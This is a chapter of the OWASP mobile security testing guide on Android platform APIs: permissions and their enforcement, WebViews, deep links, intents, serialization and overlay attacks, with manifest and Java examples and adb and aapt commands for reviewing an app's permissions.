OWASP MASTG
Search
⌃K

Android Platform APIs

Overview

App Permissions

Android assigns a distinct system identity (Linux user ID and group ID) to every installed app. Because each Android app operates in a process sandbox, apps must explicitly request access to resources and data that are outside their sandbox. They request this access by declaring the permissions they need to use system data and features. Depending on how sensitive or critical the data or feature is, the Android system will grant the permission automatically or ask the user to approve the request.
Android permissions are classified into four different categories on the basis of the protection level they offer:
  • Normal: This permission gives apps access to isolated application-level features with minimal risk to other apps, the user, and the system. For apps targeting Android 6.0 (API level 23) or higher, these permissions are granted automatically at installation time. For apps targeting a lower API level, the user needs to approve them at installation time. Example: android.permission.INTERNET.
  • Dangerous: This permission usually gives the app control over user data or control over the device in a way that impacts the user. This type of permission may not be granted at installation time; whether the app should have the permission may be left for the user to decide. Example: android.permission.RECORD_AUDIO.
  • Signature: This permission is granted only if the requesting app was signed with the same certificate used to sign the app that declared the permission. If the signature matches, the permission will be granted automatically. This permission is granted at installation time. Example: android.permission.ACCESS_MOCK_LOCATION.
  • SystemOrSignature: This permission is granted only to applications embedded in the system image or signed with the same certificate used to sign the application that declared the permission. Example: android.permission.ACCESS_DOWNLOAD_MANAGER.
A list of all permissions can be found in the Android developer documentation as well as concrete steps on how to:
Android 8.0 (API level 26) Changes:
The following changes affect all apps running on Android 8.0 (API level 26), even to those apps targeting lower API levels.
  • Contacts provider usage stats change: when an app requests the READ_CONTACTS permission, queries for contact's usage data will return approximations rather than exact values (the auto-complete API is not affected by this change).
Apps targeting Android 8.0 (API level 26) or higher are affected by the following:
  • Account access and discoverability improvements: Apps can no longer get access to user accounts only by having the GET_ACCOUNTS permission granted, unless the authenticator owns the accounts or the user grants that access.
  • New telephony permissions: the following permissions (classified as dangerous) are now part of the PHONE permissions group:
    • The ANSWER_PHONE_CALLS permission allows to answer incoming phone calls programmatically (via acceptRingingCall).
    • The READ_PHONE_NUMBERS permission grants read access to the phone numbers stored in the device.
  • Restrictions when granting dangerous permissions: Dangerous permissions are classified into permission groups (e.g. the STORAGE group contains READ_EXTERNAL_STORAGE and WRITE_EXTERNAL_STORAGE). Before Android 8.0 (API level 26), it was sufficient to request one permission of the group in order to get all permissions of that group also granted at the same time. This has changed starting at Android 8.0 (API level 26): whenever an app requests a permission at runtime, the system will grant exclusively that specific permission. However, note that all subsequent requests for permissions in that permission group will be automatically granted without showing the permissions dialog to the user. See this example from the Android developer documentation:
    Suppose an app lists both READ_EXTERNAL_STORAGE and WRITE_EXTERNAL_STORAGE in its manifest. The app requests READ_EXTERNAL_STORAGE and the user grants it. If the app targets API level 25 or lower, the system also grants WRITE_EXTERNAL_STORAGE at the same time, because it belongs to the same STORAGE permission group and is also registered in the manifest. If the app targets Android 8.0 (API level 26), the system grants only READ_EXTERNAL_STORAGE at that time; however, if the app later requests WRITE_EXTERNAL_STORAGE, the system immediately grants that privilege without prompting the user.
    You can see the list of permission groups in the Android developer documentation. To make this a bit more confusing, Google also warns that particular permissions might be moved from one group to another in future versions of the Android SDK and therefore, the logic of the app shouldn't rely on the structure of these permission groups. The best practice is to explicitly request every permission whenever it's needed.
Android 9 (API Level 28) Changes:
The following changes affect all apps running on Android 9, even to those apps targeting API levels lower than 28.
  • Restricted access to call logs: READ_CALL_LOG, WRITE_CALL_LOG, and PROCESS_OUTGOING_CALLS (dangerous) permissions are moved from PHONE to the new CALL_LOG permission group. This means that being able to make phone calls (e.g. by having the permissions of the PHONE group granted) is not sufficient to get access to the call logs.
  • Restricted access to phone numbers: apps wanting to read the phone number require the READ_CALL_LOG permission when running on Android 9 (API level 28).
  • Restricted access to Wi-Fi location and connection information: SSID and BSSID values cannot be retrieved (e.g. via WifiManager.getConnectionInfo unless all of the following is true:
    • The ACCESS_FINE_LOCATION or ACCESS_COARSE_LOCATION permission.
    • The ACCESS_WIFI_STATE permission.
    • Location services are enabled (under Settings -> Location).
Apps targeting Android 9 (API level 28) or higher are affected by the following:
  • Build serial number deprecation: device's hardware serial number cannot be read (e.g. via Build.getSerial) unless the READ_PHONE_STATE (dangerous) permission is granted.
Android 10 (API level 29) Changes:
Android 10 (API level 29) introduces several user privacy enhancements. The changes regarding permissions affect to all apps running on Android 10 (API level 29), including those targeting lower API levels.
  • Restricted Location access: new permission option for location access "only while using the app".
  • Scoped storage by default: apps targeting Android 10 (API level 29) don't need to declare any storage permission to access their files in the app specific directory in external storage as well as for files creates from the media store.
  • Restricted access to screen contents: READ_FRAME_BUFFER, CAPTURE_VIDEO_OUTPUT, and CAPTURE_SECURE_VIDEO_OUTPUT permissions are now signature-access only, which prevents silent access to the device's screen contents.
  • User-facing permission check on legacy apps: when running an app targeting Android 5.1 (API level 22) or lower for the first time, users will be prompted with a permissions screen where they can revoke access to specific legacy permissions (which previously would be automatically granted at installation time).

Permission Enforcement

Activity Permission Enforcement:
Permissions are applied via android:permission attribute within the <activity> tag in the manifest. These permissions restrict which applications can start that Activity. The permission is checked during Context.startActivity and Activity.startActivityForResult. Not holding the required permission results in a SecurityException being thrown from the call.
Service Permission Enforcement:
Permissions applied via android:permission attribute within the <service> tag in the manifest restrict who can start or bind to the associated Service. The permission is checked during Context.startService, Context.stopService and Context.bindService. Not holding the required permission results in a SecurityException being thrown from the call.
Broadcast Permission Enforcement:
Permissions applied via android:permission attribute within the <receiver> tag restrict access to send broadcasts to the associated BroadcastReceiver. The held permissions are checked after Context.sendBroadcast returns, while trying to deliver the sent broadcast to the given receiver. Not holding the required permissions doesn't throw an exception, the result is an unsent broadcast.
A permission can be supplied to Context.registerReceiver to control who can broadcast to a programmatically registered receiver. Going the other way, a permission can be supplied when calling Context.sendBroadcast to restrict which broadcast receivers are allowed to receive the broadcast.
Note that both a receiver and a broadcaster can require a permission. When this happens, both permission checks must pass for the intent to be delivered to the associated target. For more information, please reference the section "Restricting broadcasts with permissions" in the Android Developers Documentation.
Content Provider Permission Enforcement:
Permissions applied via android:permission attribute within the <provider> tag restrict access to data in a ContentProvider. Content providers have an important additional security facility called URI permissions which is described next. Unlike the other components, ContentProviders have two separate permission attributes that can be set, android:readPermission restricts who can read from the provider, and android:writePermission restricts who can write to it. If a ContentProvider is protected with both read and write permissions, holding only the write permission does not also grant read permissions.
Permissions are checked when you first retrieve a provider and as operations are performed using the ContentProvider. Using ContentResolver.query requires holding the read permission; using ContentResolver.insert, ContentResolver.update, ContentResolver.delete requires the write permission. A SecurityException will be thrown from the call if proper permissions are not held in all these cases.
Content Provider URI Permissions:
The standard permission system is not sufficient when being used with content providers. For example a content provider may want to limit permissions to READ permissions in order to protect itself, while using custom URIs to retrieve information. An application should only have the permission for that specific URI.
The solution is per-URI permissions. When starting or returning a result from an activity, the method can set Intent.FLAG_GRANT_READ_URI_PERMISSION and/or Intent.FLAG_GRANT_WRITE_URI_PERMISSION. This grants permission to the activity for the specific URI regardless if it has permissions to access to data from the content provider.
This allows a common capability-style model where user interaction drives ad-hoc granting of fine-grained permission. This can be a key facility for reducing the permissions needed by apps to only those directly related to their behavior. Without this model in place malicious users may access other member's email attachments or harvest contact lists for future use via unprotected URIs. In the manifest the android:grantUriPermissions attribute or the node help restrict the URIs.
Here you can find more information about APIs related to URI Permissions:

Custom Permissions

Android allows apps to expose their services/components to other apps. Custom permissions are required for app access to the exposed components. You can define custom permissions in AndroidManifest.xml by creating a permission tag with two mandatory attributes: android:name and android:protectionLevel.
It is crucial to create custom permissions that adhere to the Principle of Least Privilege: permission should be defined explicitly for its purpose, with a meaningful and accurate label and description.
Below is an example of a custom permission called START_MAIN_ACTIVITY, which is required when launching the TEST_ACTIVITY Activity.
The first code block defines the new permission, which is self-explanatory. The label tag is a summary of the permission, and the description is a more detailed version of the summary. You can set the protection level according to the types of permissions that will be granted. Once you've defined your permission, you can enforce it by adding it to the application's manifest. In our example, the second block represents the component that we are going to restrict with the permission we created. It can be enforced by adding the android:permission attributes.
<permission android:name="com.example.myapp.permission.START_MAIN_ACTIVITY"
android:label="Start Activity in myapp"
android:description="Allow the app to launch the activity of myapp app, any app you grant this permission will be able to launch main activity by myapp app."
android:protectionLevel="normal" />
​
<activity android:name="TEST_ACTIVITY"
android:permission="com.example.myapp.permission.START_MAIN_ACTIVITY">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
Once the permission START_MAIN_ACTIVITY has been created, apps can request it via the uses-permission tag in the AndroidManifest.xml file. Any application granted the custom permission START_MAIN_ACTIVITY can then launch the TEST_ACTIVITY. Please note <uses-permission android:name="myapp.permission.START_MAIN_ACTIVITY" /> must be declared before the <application> or an exception will occur at runtime. Please see the example below that is based on the permission overview and manifest-intro.
<manifest>
<uses-permission android:name="com.example.myapp.permission.START_MAIN_ACTIVITY" />
<application>
<activity>
</activity>
</application>
</manifest>
We recommend using a reverse-domain annotation when registering a permission, as in the example above (e.g. com.domain.application.permission) in order to avoid collisions with other applications.

WebViews

URL Loading in WebViews

WebViews are Android's embedded components which allow your app to open web pages within your application. In addition to mobile apps related threats, WebViews may expose your app to common web threats (e.g. XSS, Open Redirect, etc.).
One of the most important things to do when testing WebViews is to make sure that only trusted content can be loaded in it. Any newly loaded page could be potentially malicious, try to exploit any WebView bindings or try to phish the user. Unless you're developing a browser app, usually you'd like to restrict the pages being loaded to the domain of your app. A good practice is to prevent the user from even having the chance to input any URLs inside WebViews (which is the default on Android) nor navigate outside the trusted domains. Even when navigating on trusted domains there's still the risk that the user might encounter and click on other links to untrustworthy content (e.g. if the page allows for other users to post comments). In addition, some developers might even override some default behavior which can be potentially dangerous for the user.

SafeBrowsing API

To provide a safer web browsing experience, Android 8.1 (API level 27) introduces the SafeBrowsing API, which allows your application to detect URLs that Google has classified as a known threat.
By default, WebViews show a warning to users about the security risk with the option to load the URL or stop the page from loading. With the SafeBrowsing API you can customize your application's behavior by either reporting the threat to SafeBrowsing or performing a particular action such as returning back to safety each time it encounters a known threat. Please check the Android Developers documentation for usage examples.
You can use the SafeBrowsing API independently from WebViews using the SafetyNet library, which implements a client for Safe Browsing Network Protocol v4. SafetyNet allows you to analyze all the URLs that your app is supposed load. You can check URLs with different schemes (e.g. http, file) since SafeBrowsing is agnostic to URL schemes, and against TYPE_POTENTIALLY_HARMFUL_APPLICATION and TYPE_SOCIAL_ENGINEERING threat types.
When sending URLs or files to be checked for known threats make sure they don't contain sensitive data which could compromise a user's privacy, or expose sensitive content from your application.

Virus Total API

Virus Total provides an API for analyzing URLs and local files for known threats. The API Reference is available on Virus Total developers page.

JavaScript Execution in WebViews

JavaScript can be injected into web applications via reflected, stored, or DOM-based Cross-Site Scripting (XSS). Mobile apps are executed in a sandboxed environment and don't have this vulnerability when implemented natively. Nevertheless, WebViews may be part of a native app to allow web page viewing. Every app has its own WebView cache, which isn't shared with the native Browser or other apps. On Android, WebViews use the WebKit rendering engine to display web pages, but the pages are stripped down to minimal functions, for example, pages don't have address bars. If the WebView implementation is too lax and allows usage of JavaScript, JavaScript can be used to attack the app and gain access to its data.

WebView Protocol Handlers

Several default schemas are available for Android URLs. They can be triggered within a WebView with the following:
  • http(s)://
  • file://
  • tel://
WebViews can load remote content from an endpoint, but they can also load local content from the app data directory or external storage. If the local content is loaded, the user shouldn't be able to influence the filename or the path used to load the file, and users shouldn't be able to edit the loaded file.

Java Objects Exposed Through WebViews

Android offers a way for JavaScript execution in a WebView to call and use native functions of an Android app (annotated with @JavascriptInterface) by using the addJavascriptInterface method. This is known as a WebView JavaScript bridge or native bridge.
Please note that when you use addJavascriptInterface, you're explicitly granting access to the registered JavaScript Interface object to all pages loaded within that WebView. This implies that, if the user navigates outside your app or domain, all other external pages will also have access to those JavaScript Interface objects which might present a potential security risk if any sensitive data is being exposed though those interfaces.
Warning: Take extreme care with apps targeting Android versions below Android 4.2 (API level 17) as they are vulnerable to a flaw in the implementation of addJavascriptInterface: an attack that is abusing reflection, which leads to remote code execution when malicious JavaScript is injected into a WebView. This was due to all Java Object methods being accessible by default (instead of only those annotated).

WebViews Cleanup

Clearing the WebView resources is a crucial step when an app accesses any sensitive data within a WebView. This includes any files stored locally, the RAM cache and any loaded JavaScript.
As an additional measure, you could use server-side headers such as no-cache, which prevent an application from caching particular content.
Starting on Android 10 (API level 29) apps are able to detect if a WebView has become unresponsive. If this happens, the OS will automatically call the onRenderProcessUnresponsive method.
You can find more security best practices when using WebViews on Android Developers.
Deep links are URIs of any scheme that take users directly to specific content in an app. An app can set up deep links by adding intent filters on the Android Manifest and extracting data from incoming intents to navigate users to the correct activity.
Android supports two types of deep links:
  • Custom URL Schemes, which are deep links that use any custom URL scheme, e.g. myapp:// (not verified by the OS).
  • Android App Links (Android 6.0 (API level 23) and higher), which are deep links that use the http:// and https:// schemes and contain the autoVerify attribute (which triggers OS verification).
Deep Link Collision:
Using unverified deep links can cause a significant issue- any other apps installed on a user's device can declare and try to handle the same intent, which is known as deep link collision. Any arbitrary application can declare control over the exact same deep link belonging to another application.
In recent versions of Android this results in a so-called disambiguation dialog shown to the user that asks them to select the application that should handle the deep link. The user could make the mistake of choosing a malicious application instead of the legitimate one.
​
​
Android App Links:
In order to solve the deep link collision issue, Android 6.0 (API Level 23) introduced Android App Links, which are verified deep links based on a website URL explicitly registered by the developer. Clicking on an App Link will immediately open the app if it's installed.
There are some key differences from unverified deep links:
  • App Links only use http:// and https:// schemes, any other custom URL schemes are not allowed.
  • App Links require a live domain to serve a Digital Asset Links file via HTTPS.
  • App Links do not suffer from deep link collision since they don't show a disambiguation dialog when a user opens them.

Sensitive Functionality Exposure Through IPC

During implementation of a mobile application, developers may apply traditional techniques for IPC (such as using shared files or network sockets). The IPC system functionality offered by mobile application platforms should be used because it is much more mature than traditional techniques. Using IPC mechanisms with no security in mind may cause the application to leak or expose sensitive data.
The following is a list of Android IPC Mechanisms that may expose sensitive data:

Pending Intents

Often while dealing with complex flows during app development, there are situations where an app A wants another app B to perform a certain action in the future, on app A's behalf. Trying to implement this by only using Intents leads to various security problems, like having multiple exported components. To handle this use case in a secure manner, Android provides the PendingIntent API.
PendingIntent are most commonly used for notifications, app widgets, media browser services, etc. When used for notifications, PendingIntent is used to declare an intent to be executed when a user performs an action with an application's notification. The notification requires a callback to the application to trigger an action when the user clicks on it.
Internally, a PendingIntent object wraps a normal Intent object (referred as base intent) that will eventually be used to invoke an action. For example, the base intent specifies that an activity A should be started in an application. The receiving application of the PendingIntent, will unwrap and retrieve this base intent and invoke the activity A by calling the PendingIntent.send function.
A typical implementation for using PendingIntent is below:
Intent intent = new Intent(applicationContext, SomeActivity.class); // base intent
​
// create a pending intent
PendingIntent pendingIntent = PendingIntent.getActivity(applicationContext, 0, intent, PendingIntent.FLAG_IMMUTABLE);
​
// send the pending intent to another app
Intent anotherIntent = new Intent();
anotherIntent.setClassName("other.app", "other.app.MainActivity");
anotherIntent.putExtra("pendingIntent", pendingIntent);
startActivity(anotherIntent);
What makes a PendingIntent secure is that, unlike a normal Intent, it grants permission to a foreign application to use the Intent (the base intent) it contains, as if it were being executed by your application's own process. This allows an application to freely use them to create callbacks without the need to create exported activities.
If not implemented correctly, a malicious application can hijack a PendingIntent. For example, in the notification example above, a malicious application with android.permission.BIND_NOTIFICATION_LISTENER_SERVICE can bind to the notification listener service and retrieve the pending intent.
There are certain security pitfalls when implementing PendingIntents, which are listed below:
  • Mutable fields: A PendingIntent can have mutable and empty fields that can be filled by a malicious application. This can lead to a malicious application gaining access to non-exported application components. Using the PendingIntent.FLAG_IMMUTABLE flag makes the PendingIntent immutable and prevents any changes to the fields. Prior to Android 12 (API level 31), the PendingIntent was mutable by default, while since Android 12 (API level 31) it is changed to immutable by default to prevent accidental vulnerabilities.
  • Use of implicit intent: A malicious application can receive a PendingIntent and then update the base intent to target the component and package within the malicious application. As a mitigation, ensure that you explicitly specify the exact package, action and component that will receive the base intent.
The most common case of PendingIntent attack is when a malicious application is able to intercept it.
For further details, check the Android documentation on using a pending intent.

Implicit Intents

An Intent is a messaging object that you can use to request an action from another application component. Although intents facilitate communication between components in a variety of ways, there are three basic use cases: starting an activity, starting a service, and delivering a broadcast.
According to the Android Developers Documentation, Android provides two types of intents:
  • Explicit intents specify which application will satisfy the intent by providing either the target app's package name or a fully qualified component class name. Typically, you'll use an explicit intent to start a component in your own app, because you know the class name of the activity or service you want to start. For example, you might want to start a new activity in your app in response to a user action, or start a service to download a file in the background.
    // Note the specification of a concrete component (DownloadActivity) that is started by the intent.
    Intent downloadIntent = new Intent(this, DownloadActivity.class);
    downloadIntent.setAction("android.intent.action.GET_CONTENT")
    startActivityForResult(downloadIntent);
  • Implicit intents do not name a specific component, but instead declare a general action to be performed that another app's component can handle. For example, if you want to show the user a location on a map, you can use an implicit intent to ask another capable app to show a specific location on a map. Another example is when the user clicks on an email address within an app, where the calling app does not want to specify a specific email app and leaves that choice up to the user.
    // Developers can also start an activity by just setting an action that is matched by the intended app.
    Intent downloadIntent = new Intent();
    downloadIntent.setAction("android.intent.action.GET_CONTENT")
    startActivityForResult(downloadIntent);
The use of implicit intents can lead to multiple security risks, e.g. if the calling app processes the return value of the implicit intent without proper verification or if the intent contains sensitive data, it can be accidentally leaked to unauthorized third-parties.
You can refer to this blog post, this article and CWE-927 for more information about the mentioned problem, concrete attack scenarios and recommendations.

Object Persistence

There are several ways to persist an object on Android:

Object Serialization

An object and its data can be represented as a sequence of bytes. This is done in Java via object serialization. Serialization is not inherently secure. It is just a binary format (or representation) for locally storing data in a .ser file. Encrypting and signing HMAC-serialized data is possible as long as the keys are stored safely. Deserializing an object requires a class of the same version as the class used to serialize the object. After classes have been changed, the ObjectInputStream can't create objects from older .ser files. The example below shows how to create a Serializable class by implementing the Serializable interface.
import java.io.Serializable;
​
public class Person implements Serializable {
private String firstName;
private String lastName;
​
public Person(String firstName, String lastName) {
this.firstName = firstName;
this.lastName = lastName;
}
//..
//getters, setters, etc
//..
​
}
​
Now you can read/write the object with ObjectInputStream/ObjectOutputStream in another class.

JSON

There are several ways to serialize the contents of an object to JSON. Android comes with the JSONObject and JSONArray classes. A wide variety of libraries, including GSON, Jackson, Moshi, can also be used. The main differences between the libraries are whether they use reflection to compose the object, whether they support annotations, whether the create immutable objects, and the amount of memory they use. Note that almost all the JSON representations are String-based and therefore immutable. This means that any secret stored in JSON will be harder to remove from memory. JSON itself can be stored anywhere, e.g., a (NoSQL) database or a file. You just need to make sure that any JSON that contains secrets has been appropriately protected (e.g., encrypted/HMACed). See the chapter "Data Storage on Android" for more details. A simple example (from the GSON User Guide) of writing and reading JSON with GSON follows. In this example, the contents of an instance of the BagOfPrimitives is serialized into JSON:
class BagOfPrimitives {
private int value1 = 1;
private String value2 = "abc";
private transient int value3 = 3;
BagOfPrimitives() {
// no-args constructor
}
}
​
// Serialization
BagOfPrimitives obj = new BagOfPrimitives();
Gson gson = new Gson();
String json = gson.toJson(obj);
​
// ==> json is {"value1":1,"value2":"abc"}
​

XML

There are several ways to serialize the contents of an object to XML and back. Android comes with the XmlPullParser interface which allows for easily maintainable XML parsing. There are two implementations within Android: KXmlParser and ExpatPullParser. The Android Developer Guide provides a great write-up on how to use them. Next, there are various alternatives, such as a SAX parser that comes with the Java runtime. For more information, see a blogpost from ibm.com. Similarly to JSON, XML has the issue of working mostly String based, which means that String-type secrets will be harder to remove from memory. XML data can be stored anywhere (database, files), but do need additional protection in case of secrets or information that should not be changed. See the chapter "Data Storage on Android" for more details. As stated earlier: the true danger in XML lies in the XML eXternal Entity (XXE) attack as it might allow for reading external data sources that are still accessible within the application.

ORM

There are libraries that provide functionality for directly storing the contents of an object in a database and then instantiating the object with the database contents. This is called Object-Relational Mapping (ORM). Libraries that use the SQLite database include
​Realm, on the other hand, uses its own database to store the contents of a class. The amount of protection that ORM can provide depends primarily on whether the database is encrypted. See the chapter "Data Storage on Android" for more details. The Realm website includes a nice example of ORM Lite.

Parcelable

​Parcelable is an interface for classes whose instances can be written to and restored from a Parcel. Parcels are often used to pack a class as part of a Bundle for an Intent. Here's an Android developer documentation example that implements Parcelable:
public class MyParcelable implements Parcelable {
private int mData;
​
public int describeContents() {
return 0;
}
​
public void writeToParcel(Parcel out, int flags) {
out.writeInt(mData);
}
​
public static final Parcelable.Creator<MyParcelable> CREATOR
= new Parcelable.Creator<MyParcelable>() {
public MyParcelable createFromParcel(Parcel in) {
return new MyParcelable(in);
}
​
public MyParcelable[] newArray(int size) {
return new MyParcelable[size];
}
};
​
private MyParcelable(Parcel in) {
mData = in.readInt();
}
}
Because this mechanism that involves Parcels and Intents may change over time, and the Parcelable may contain IBinder pointers, storing data to disk via Parcelable is not recommended.

Protocol Buffers

​Protocol Buffers by Google, are a platform- and language neutral mechanism for serializing structured data by means of the Binary Data Format. There have been a few vulnerabilities with Protocol Buffers, such as CVE-2015-5237. Note that Protocol Buffers do not provide any protection for confidentiality: there is no built in encryption.

Overlay Attacks

Screen overlay attacks occur when a malicious application manages to put itself on top of another application which remains working normally as if it were on the foreground. The malicious app might create UI elements mimicking the look and feel and the original app or even the Android system UI. The intention is typically to make users believe that they keep interacting with the legitimate app and then try to elevate privileges (e.g by getting some permissions granted), stealthy phishing, capture user taps and keystrokes etc.
There are several attacks affecting different Android versions including:
  • ​Tapjacking (Android 6.0 (API level 23) and lower) abuses the screen overlay feature of Android listening for taps and intercepting any information being passed to the underlying activity.
  • ​Cloak & Dagger attacks affect apps targeting Android 5.0 (API level 21) to Android 7.1 (API level 25). They abuse one or both of the SYSTEM_ALERT_WINDOW ("draw on top") and BIND_ACCESSIBILITY_SERVICE ("a11y") permissions that, in case the app is installed from the Play Store, the users do not need to explicitly grant and for which they are not even notified.
  • ​Toast Overlay is quite similar to Cloak & Dagger but do not require specific Android permissions to be granted by users. It was closed with CVE-2017-0752 on Android 8.0 (API level 26).
Usually, this kind of attacks are inherent to an Android system version having certain vulnerabilities or design issues. This makes them challenging and often virtually impossible to prevent unless the app is upgraded targeting a safe Android version (API level).
Over the years many known malware like MazorBot, BankBot or MysteryBot have been abusing the screen overlay feature of Android to target business critical applications, namely in the banking sector. This blog discusses more about this type of malware.

Enforced Updating

Starting from Android 5.0 (API level 21), together with the Play Core Library, apps can be forced to be updated. This mechanism is based on using the AppUpdateManager. Before that, other mechanisms were used, such as doing http calls to the Google Play Store, which are not as reliable as the APIs of the Play Store might change. Alternatively, Firebase could be used to check for possible forced updates as well (see this blog). Enforced updating can be really helpful when it comes to public key pinning (see the Testing Network communication for more details) when a pin has to be refreshed due to a certificate/public key rotation. Next, vulnerabilities are easily patched by means of forced updates.
Please note that newer versions of an application will not fix security issues that are living in the backends to which the app communicates. Allowing an app not to communicate with it might not be enough. Having proper API-lifecycle management is key here. Similarly, when a user is not forced to update, do not forget to test older versions of your app against your API and/or use proper API versioning.

Testing for App Permissions (MSTG-PLATFORM-1)

Overview

When testing app permissions the goal is to try and reduce the amount of permissions used by your app to the absolute minimum. While going through each permission, remember that it is best practice first to try and evaluate whether your app needs to use this permission because many functionalities such as taking a photo can be done without, limiting the amount of access to sensitive data. If permissions are required you will then make sure that the request/response to access the permission is handled handled correctly.

Static Analysis

Android Permissions

Check permissions to make sure that the app really needs them and remove unnecessary permissions. For example, the INTERNET permission in the AndroidManifest.xml file is necessary for an Activity to load a web page into a WebView. Because a user can revoke an application's right to use a dangerous permission, the developer should check whether the application has the appropriate permission each time an action is performed that would require that permission.
<uses-permission android:name="android.permission.INTERNET" />
Go through the permissions with the developer to identify the purpose of every permission set and remove unnecessary permissions.
Besides going through the AndroidManifest.xml file manually, you can also use the Android Asset Packaging tool (aapt) to examine the permissions of an APK file.
aapt comes with the Android SDK within the build-tools folder. It requires an APK file as input. You may list the APKs in the device by running adb shell pm list packages -f | grep -i <keyword> as seen in "Listing Installed Apps".
$ aapt d permissions app-x86-debug.apk
package: sg.vp.owasp_mobile.omtg_android
uses-permission: name='android.permission.WRITE_EXTERNAL_STORAGE'
uses-permission: name='android.permission.INTERNET'
Alternatively you may obtain a more detailed list of permissions via adb and the dumpsys tool:
$ adb shell dumpsys package sg.vp.owasp_mobile.omtg_android | grep permission
requested permissions:
android.permission.WRITE_EXTERNAL_STORAGE
android.permission.INTERNET
android.permission.READ_EXTERNAL_STORAGE
install permissions:
android.permission.INTERNET: granted=true
runtime permissions:
Please reference this permissions overview for descriptions of the listed permissions that are considered dangerous.
READ_CALENDAR
WRITE_CALENDAR
READ_CALL_LOG
WRITE_CALL_LOG
PROCESS_OUTGOING_CALLS
CAMERA
READ_CONTACTS
WRITE_CONTACTS
GET_ACCOUNTS
ACCESS_FINE_LOCATION
ACCESS_COARSE_LOCATION
RECORD_AUDIO
READ_PHONE_STATE
READ_PHONE_NUMBERS
CALL_PHONE
ANSWER_PHONE_CALLS
ADD_VOICEMAIL
USE_SIP
BODY_SENSORS
SEND_SMS
RECEIVE_SMS
READ_SMS
RECEIVE_WAP_PUSH
RECEIVE_MMS
READ_EXTERNAL_STORAGE
WRITE_EXTERNAL_STORAGE

Custom Permissions

Apart from enforcing custom permissions via the application manifest file, you can also check permissions programmatically. This is not recommended, however, because it is more error-prone and can be bypassed more easily with, e.g., runtime instrumentation. It is recommended that the ContextCompat.checkSelfPermission method is called to check if an activity has a specified permission. Whenever you see code like the following snippet, make sure that the same permissions are enforced in the manifest file.
private static final String TAG = "LOG";
int canProcess = checkCallingOrSelfPermission("com.example.perm.READ_INCOMING_MSG");
if (canProcess != PERMISSION_GRANTED)
throw new SecurityException();
Or with ContextCompat.checkSelfPermission which compares it to the manifest file.
if (ContextCompat.checkSelfPermission(secureActivity.this, Manifest.READ_INCOMING_MSG)
!= PackageManager.PERMISSION_GRANTED) {
//!= stands for not equals PERMISSION_GRANTED
Log.v(TAG, "Permission denied");
}

Requesting Permissions

If your application has permissions that need to be requested at runtime, the application must call the requestPermissions method in order to obtain them. The app passes the permissions needed and an integer request code you have specified to the user asynchronously, returning once the user chooses to accept or deny the request in the same thread. After the response is returned the same request code is passed to the app's callback method.
private static final String TAG = "LOG";
// We start by checking the permission of the current Activity
if (ContextCompat.checkSelfPermission(secureActivity.this,
Manifest.permission.WRITE_EXTERNAL_STORAGE)
!= PackageManager.PERMISSION_GRANTED) {
​
// Permission is not granted
// Should we show an explanation?
if (ActivityCompat.shouldShowRequestPermissionRationale(secureActivity.this,
//Gets whether you should show UI with rationale for requesting permission.
//You should do this only if you do not have permission and the permission requested rationale is not communicated clearly to the user.
Manifest.permission.WRITE_EXTERNAL_STORAGE)) {
// Asynchronous thread waits for the users response.
// After the user sees the explanation try requesting the permission again.
} else {
// Request a permission that doesn't need to be explained.
ActivityCompat.requestPermissions(secureActivity.this,
new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE},
MY_PERMISSIONS_REQUEST_WRITE_EXTERNAL_STORAGE);
// MY_PERMISSIONS_REQUEST_WRITE_EXTERNAL_STORAGE will be the app-defined int constant.
// The callback method gets the result of the request.
}
} else {
// Permission already granted debug message printed in terminal.
Log.v(TAG, "Permission already granted.");
}
Please note that if you need to provide any information or explanation to the user it needs to be done before the call to requestPermissions, since the system dialog box can not be altered once called.

Handling Responses to Permission Requests

Now your app has to override the system method onRequestPermissionsResult to see if the permission was granted. This method receives the requestCode integer as input parameter (which is the same request code that was created in requestPermissions).
The following callback method may be used for WRITE_EXTERNAL_STORAGE.
@Override //Needed to override system method onRequestPermissionsResult()
public void onRequestPermissionsResult(int requestCode, //requestCode is what you specified in requestPermissions()
String permissions[], int[] permissionResults) {
switch (requestCode) {
case MY_PERMISSIONS_WRITE_EXTERNAL_STORAGE: {
if (grantResults.length > 0
&& permissionResults[0] == PackageManager.PERMISSION_GRANTED) {
// 0 is a canceled request, if int array equals requestCode permission is granted.
} else {
// permission denied code goes here.
Log.v(TAG, "Permission denied");
}
return;
}
// Other switch cases can be added here for multiple permission checks.
}
}
​
Permissions should be explicitly requested for every needed permission, even if a similar permission from the same group has already been requested. For applications targeting Android 7.1 (API level 25) and older, Android will automatically give an application all the permissions from a permission group, if the user grants one of the requested permissions of that group. Starting with Android 8.0 (API level 26), permissions will still automatically be granted if a user has already granted a permission from the same permission group, but the application still needs to explicitly request the permission. In this case, the onRequestPermissionsResult handler will automatically be triggered without any user interaction.
For example if both READ_EXTERNAL_STORAGE and WRITE_EXTERNAL_STORAGE are listed in the Android Manifest but only permissions are granted for READ_EXTERNAL_STORAGE, then requesting WRITE_EXTERNAL_STORAGE will automatically have permissions without user interaction because they are in the same group and not explicitly requested.

Permission Analysis

Always check whether the application is requesting permissions it actually requires. Make sure that no permissions are requested which are not related to the goal of the app, especially DANGEROUS and SIGNATURE permissions, since they can affect both the user and the application if mishandled. For instance, it should be suspicious if a single-player game app requires access to android.permission.WRITE_SMS.
When analyzing permissions, you should investigate the concrete use case scenarios of the app and always check if there are replacement APIs for any DANGEROUS permissions in use. A good example is the SMS Retriever API which streamlines the usage of SMS permissions when performing SMS-based user verification. By using this API an application does not have to declare DANGEROUS permissions which is a benefit to both the user and developers of the application, who doesn't have to submit the Permissions Declaration Form.

Dynamic Analysis

Permissions for installed applications can be retrieved with adb. The following extract demonstrates how to examine the permissions used by an application.
$ adb shell dumpsys package com.google.android.youtube
...
declared permissions:
com.google.android.youtube.permission.C2D_MESSAGE: prot=signature, INSTALLED
requested permissions:
android.permission.INTERNET
android.permission.ACCESS_NETWORK_STATE
install permissions:
com.google.android.c2dm.permission.RECEIVE: granted=true
android.permission.USE_CREDENTIALS: granted=true
com.google.android.providers.gsf.permission.READ_GSERVICES: granted=true
...
The output shows all permissions using the following categories:
  • declared permissions: list of all custom permissions.
  • requested and install permissions: list of all install-time permissions including normal and signature permissions.
  • runtime permissions: list of all dangerous permissions.
When doing the dynamic analysis:
  • ​Evaluate whether the app really needs the requested permissions. For instance: a single-player game that requires access to android.permission.WRITE_SMS, might not be a good idea.
